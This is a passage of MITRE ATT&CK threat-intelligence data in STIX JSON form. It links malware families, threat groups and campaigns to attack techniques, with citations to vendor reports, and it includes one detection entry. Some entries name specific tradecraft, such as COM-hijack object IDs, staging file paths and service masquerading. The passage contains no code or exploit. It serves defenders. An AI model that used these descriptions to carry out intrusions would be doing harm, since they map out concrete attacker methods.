"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion EvilNum May 2020", "url": "https://www.prevailion.com/phantom-in-the-command-shell-2/", "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}], "modified": "2022-01-19T18:23:53.021Z", "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can harvest cookies and upload them to the C2 server.(Citation: Prevailion EvilNum May 2020)", "relationship_type": "uses", "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8787d75b-9c28-437d-b6b5-93d2d7e8462e", "type": "relationship", "created": "2020-02-11T18:23:26.146Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T18:23:26.146Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--878a1144-2523-47fb-b1c9-ce082f7bc03e", "type": "relationship", "created": "2021-03-23T20:49:40.210Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ShadowPad Aug 2017", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf", "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}], "modified": "2021-03-23T20:49:40.210Z", "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has collected the domain name of the victim system.(Citation: Kaspersky ShadowPad Aug 2017)", "relationship_type": "uses", "source_ref": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--878ff6f7-d372-4559-a114-8858eb2682d4", "type": "relationship", "created": "2021-11-24T20:17:35.754Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "modified": "2021-11-24T20:17:35.754Z", "description": "(Citation: MalwareBytes LazyScripter Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "target_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8790dab9-2fc9-45cf-b46c-bbe2b1f2c20e", "created": "2024-04-10T20:21:21.755Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T20:21:21.756Z", "description": "[PACEMAKER](https://attack.mitre.org/software/S1109) can enter a loop to read `/proc/` entries every 2 seconds in order to read a target application's memory.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--647215dd-29a6-4528-b354-ca8b5e08fca1", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--87911fd7-8058-4d6f-99d0-68021a94357e", "created": "2022-03-07T19:33:01.779Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Check Point Meteor Aug 2021", "url": "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", "description": "Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) can use PowerShell commands to disable the network adapters on a victim machines.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-09T14:52:21.656Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8793b289-4b74-4119-8561-a9ad27dacdff", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/", "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", "source_name": "Palo Alto Networks BBSRAT"}], "modified": "2020-03-20T16:38:16.421Z", "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList <code>{42aedc87-2188-41fd-b9a3-0c966feabec1}</code> or Microsoft WBEM New Event Subsystem <code>{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}</code> depending on the system's CPU architecture.(Citation: Palo Alto Networks BBSRAT)", "relationship_type": "uses", "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8797579b-e3be-4209-a71b-255a4d08243d", "type": "relationship", "created": "2017-05-31T21:33:27.051Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf", "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.", "source_name": "Operation Quantum Entanglement"}], "modified": "2019-03-22T20:10:33.034Z", "description": "(Citation: Operation Quantum Entanglement)", "relationship_type": "uses", "source_ref": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a", "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87999cb2-7565-465a-ad10-b585be2e3e3f", "type": "relationship", "created": "2019-07-02T19:03:30.877Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", "source_name": "ESET LightNeuron May 2019"}], "modified": "2020-03-17T00:15:43.055Z", "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can store email data in files and directories specified in its configuration, such as <code>C:\\Windows\\ServiceProfiles\\NetworkService\\appdata\\Local\\Temp\\</code>.(Citation: ESET LightNeuron May 2019)", "relationship_type": "uses", "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--879ee01b-0517-42bd-8ac8-3857e63e40c4", "type": "relationship", "created": "2021-03-24T20:25:01.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Antiy CERT Ramsay April 2020", "url": "https://www.programmersought.com/article/62493896999/", "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}], "modified": "2021-03-24T20:25:01.291Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) has PE data embedded within JPEG files contained within Word documents.(Citation: Antiy CERT Ramsay April 2020)", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--87a01c6d-b7a3-481f-82a9-5dee8c6f91db", "created": "2022-03-25T18:33:51.705Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Qualys Hermetic Wiper March 2022", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware", "description": "Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."}, {"source_name": "ESET Hermetic Wizard March 2022", "url": "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine", "description": "ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}, {"source_name": "SentinelOne Hermetic Wiper February 2022", "url": "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack", "description": "Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."}, {"source_name": "Crowdstrike DriveSlayer February 2022", "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) can determine the OS version, bitness, and enumerate physical drives on a targeted host.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wizard March 2022)(Citation: Qualys Hermetic Wiper March 2022)", "modified": "2022-04-15T01:45:41.774Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87a90347-6f15-461c-a44c-9acf503a606b", "type": "relationship", "created": "2019-04-17T13:46:38.897Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", "source_name": "Cybereason Astaroth Feb 2019"}, {"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-12-08T21:14:50.033Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code.(Citation: Cybereason Astaroth Feb 2019)(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--87aaf244-2ecb-453e-87c0-836f9a26cc59", "created": "2022-06-02T13:37:01.011Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cybereason PowerLess February 2022", "url": "https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage", "description": "Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PowerLess](https://attack.mitre.org/software/S1012) can stage stolen browser data in `C:\\\\Windows\\\\Temp\\\\cup.tmp` and keylogger data in `C:\\\\Windows\\\\Temp\\\\Report.06E17A5A-7325-4325-8E5D-E172EBA7FC5BK`.(Citation: Cybereason PowerLess February 2022)", "modified": "2022-06-02T20:00:20.956Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87b3ebab-fb4d-44c2-b8ad-9fffbac277f3", "type": "relationship", "created": "2020-03-30T02:36:45.080Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 OopsIE! Feb 2018", "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}], "modified": "2020-03-30T02:36:45.080Z", "description": "[OopsIE](https://attack.mitre.org/software/S0264) compresses collected files with a simple character replacement scheme before sending them to its C2 server.(Citation: Unit 42 OopsIE! Feb 2018)", "relationship_type": "uses", "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87b4eb41-5272-4aa5-ae2f-3541a754d011", "type": "relationship", "created": "2020-03-17T01:45:59.371Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}, {"description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", "source_name": "Cylance Machete Mar 2017"}, {"source_name": "360 Machete Sep 2020", "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."}], "modified": "2020-11-23T22:25:18.558Z", "description": "[Machete](https://attack.mitre.org/software/S0409) uses HTTP for Command & Control.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87b69ac6-d50d-4bbf-ac8b-7ad81b4e9ee8", "type": "relationship", "created": "2022-02-18T16:24:44.184Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Actinium February 2022", "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}], "modified": "2022-02-18T16:24:44.184Z", "description": "[PowerPunch](https://attack.mitre.org/software/S0685) can download payloads from adversary infrastructure.(Citation: Microsoft Actinium February 2022)", "relationship_type": "uses", "source_ref": "malware--d52291b4-bb23-45a8-aef0-3dc7e986ba15", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87b74ba7-99c4-464c-86d2-1dd8c8b578b1", "type": "relationship", "created": "2017-05-31T21:33:27.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}], "modified": "2019-07-14T21:04:44.956Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover the system time by using the <code>net time</code> command.(Citation: Kaspersky Turla)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87b8b451-bf9b-4e93-b591-05ef502970f5", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Magic Hound Feb 2017", "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}], "modified": "2019-09-09T19:21:42.185Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents.(Citation: Unit 42 Magic Hound Feb 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--87bcab2c-d776-432e-b553-e482cadf4369", "created": "2022-09-26T21:45:24.707Z", "revoked": false, "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T21:45:24.707Z", "description": "During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), the first stage downloader resolved various Windows libraries and APIs, including `LoadLibraryA()`, `GetProcAddress()`, and `CreateProcessA()`.(Citation: McAfee Sharpshooter December 2018)", "relationship_type": "uses", "source_ref": "campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87c11236-9f13-4179-aa6f-7b0fe9124a13", "type": "relationship", "created": "2019-04-17T15:08:45.079Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", "source_name": "FireEye FIN6 Apr 2019"}], "modified": "2020-03-18T00:06:41.717Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) has renamed the \"psexec\" service name to \"mstdc\" to masquerade as a legitimate Windows service.(Citation: FireEye FIN6 Apr 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87c25621-eef0-49ae-b4ef-9eac3b7ef841", "type": "relationship", "created": "2020-03-17T18:47:41.084Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Comnie", "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}], "modified": "2020-03-17T18:47:41.084Z", "description": "[Comnie](https://attack.mitre.org/software/S0244) executes VBS scripts.(Citation: Palo Alto Comnie)", "relationship_type": "uses", "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--87c33110-cbd9-4925-bf95-4570729ee935", "created": "2023-09-27T14:46:51.628Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Ukraine15 - EISAC - 201603", "description": "Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.", "url": "https://nsarchive.gwu.edu/sites/default/files/documents/3891751/SANS-and-Electricity-Information-Sharing-and.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T17:03:24.263Z", "description": "During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) used valid accounts on the corporate network to escalate privileges, move laterally, and establish persistence within the corporate network. (Citation: Ukraine15 - EISAC - 201603)", "relationship_type": "uses", "source_ref": "campaign--46421788-b6e1-4256-b351-f8beffd1afba", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87c7f912-4093-44f2-9f18-e97e649dd52e", "type": "relationship", "created": "2020-05-06T21:01:23.486Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Attor Oct 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.486Z", "description": "[Attor](https://attack.mitre.org/software/S0438)'s dispatcher can establish persistence by registering a new service.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--87cbd402-f941-46ce-9d56-22f4881c16eb", "created": "2022-03-30T14:26:51.866Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly constructed services/daemons that may carry out malicious operations using a virtual instance to avoid detection. Consider monitoring for new [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software.", "modified": "2022-04-20T03:24:12.967Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87cc66d0-7cab-4584-b86e-f2d56d492271", "type": "relationship", "created": "2020-03-17T02:36:01.176Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 SilverTerrier 2018", "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise", "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018."}], "modified": "2020-03-17T02:36:01.176Z", "description": "[SilverTerrier](https://attack.mitre.org/groups/G0083) uses HTTP for C2 communications.(Citation: Unit42 SilverTerrier 2018)\t", "relationship_type": "uses", "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--87cf80be-bae1-4a12-a754-38cad36724ac", "created": "2023-07-10T15:23:12.206Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": 